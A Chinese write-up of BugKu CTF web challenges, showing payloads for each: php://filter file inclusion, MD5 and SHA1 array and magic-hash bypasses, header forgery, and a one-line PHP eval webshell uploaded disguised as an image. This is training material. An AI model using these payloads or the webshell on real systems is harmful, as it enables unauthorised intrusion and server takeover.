> 文档中心 > CTF BugKu平台———(Web篇②)

CTF BugKu平台———(Web篇②)


源代码:

在这里插入图片描述
unescape编码:https://tool.chinaz.com/Tools/Escape.aspx

PS:p1+‘%35%34%61%61%32’ + p2 然后提交即可

67d709b2b54aa2aa648cf6e87a7114f1
在这里插入图片描述

文件包含:

在这里插入图片描述

file=php://filter/read=convert.base64-encode/resource=index.php  #构造pyload

在这里插入图片描述

好像需要密码:

在这里插入图片描述
bp爆破密码:12468
CTF BugKu平台———(Web篇②)

备份是个好习惯:

CTF BugKu平台———(Web篇②)
在这里插入图片描述

有一串字符串 提示给的是备份 那就是找bak文件 尝试 index.php.bak 下载下来一个文件

在这里插入图片描述

大概的意思是将get的两个参数中的key替换为空,然后对key1,key2的值进行md5加密,
如果md5加密的值一样而未加密的值不同,就输出flag.

MD5绕过:
下列的字符串的MD5值都是0e开头的:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

pyload:http://114.67.175.224:10088/?kekeyy1=QNKCDZO&kekeyy2=240610708
CTF BugKu平台———(Web篇②)

shell:

CTF BugKu平台———(Web篇②)
CTF BugKu平台———(Web篇②)

cookies:

http://114.67.175.224:18865/index.php?line=&filename=a2V5cy50eHQ=

line : 可能是个列的参数意思 “a2V5cy50eHQ=” base64解码得到 “keys.txt”

CTF BugKu平台———(Web篇②)
在这里插入图片描述

前女友:

F12 查看源码发现了一个code.txt
CTF BugKu平台———(Web篇②)

<?phpif(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){    $v1 = $_GET['v1'];    $v2 = $_GET['v2'];    $v3 = $_GET['v3'];    if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){     echo $flag; }    }}?>

大概的意思就是v1不等于v2,v1和v2的md5相等,strcmp是比较字符串(区分大小写),v3不等于flag。
payload:http://114.67.175.224:10561/?v1[]=1&v2[]=2&v3[]=1
CTF BugKu平台———(Web篇②)

你从哪里来

CTF BugKu平台———(Web篇②)
直接bp抓包伪造refererReferer:https:www.google.com
CTF BugKu平台———(Web篇②)

MD5:

CTF BugKu平台———(Web篇②)
让我们输入一个a 然后输入:s155964671a (考的MD5碰撞,网上有很多随便找一个即可。)
CTF BugKu平台———(Web篇②)
CTF BugKu平台———(Web篇②)

程序员本地网站:

CTF BugKu平台———(Web篇②)
直接bp抓包 然后添加一条:X-Forwarded-For: 127.0.0.1 即可获取flag。
CTF BugKu平台———(Web篇②)

各种绕过哟:

CTF BugKu平台———(Web篇②)

<?phphighlight_file('flag.php');$_GET['id'] = urldecode($_GET['id']);$flag = 'flag{xxxxxxxxxxxxxxxxxx}';if (isset($_GET['uname']) and isset($_POST['passwd'])) {    if ($_GET['uname'] == $_POST['passwd']) print 'passwd can not be uname.';    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) die('Flag: '.$flag);    else print 'sorry!';}?>

大概就是使uname的sha1和值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等。
payload:http://114.67.175.224:12978/?uname[]=1&id=margin

CTF BugKu平台———(Web篇②)
CTF BugKu平台———(Web篇②)

file_get_contents:

<?phpextract($_GET);if (!empty($ac)){$f = trim(file_get_contents($fn));if ($ac === $f){echo "

This is flag:" ." $flag

"
;}else{echo "

sorry!

"
;}}?>

方法1:代码审计一下 使用php://input伪协议绕过(需要抓包)
方法2 :根据if($ac === $f),构造?fn=flag.txt,&ac=bugku,最后得到flag
payload:http://114.67.175.224:16481/?&ac=bugku&fn=flag.txt
CTF BugKu平台———(Web篇②)
CTF BugKu平台———(Web篇②)

需要管理员:

CTF BugKu平台———(Web篇②)
使用御剑扫一下后台:robots.txt 访问一下看看 然后定义了一个传入的参数x,但是并没有告诉这个x应该是什么值 提示是管理员试一下是不是admin 构造payload:http://114.67.175.224:15572/resusl.php?x=admin
CTF BugKu平台———(Web篇②)
CTF BugKu平台———(Web篇②)
CTF BugKu平台———(Web篇②)
CTF BugKu平台———(Web篇②)
flag{7e69cdda3cf5c4dc101497149af576a8}

文件包含2:

CTF BugKu平台———(Web篇②)
先F12看一下源码 发现了一个upload.php 传一句话密码格式改为jpg 然后使用bp进行修改 最后菜刀连接
CTF BugKu平台———(Web篇②)
CTF BugKu平台———(Web篇②)

<script language="php">@eval($_POST[pass])</script>

CTF BugKu平台———(Web篇②)
CTF BugKu平台———(Web篇②)
CTF BugKu平台———(Web篇②)
找了一下flag 在/根目录下 :flag{994b40acc26842efb530b6fbc99112b0}
CTF BugKu平台———(Web篇②)

getshell:

CTF BugKu平台———(Web篇②)

具体可以看这篇,因为工具需要会员
CTF BugKu平台———(Web篇②)

至此web篇就先跟新到这里了 最近比较忙没时间肝了,希望对大家有所帮助感谢大家!!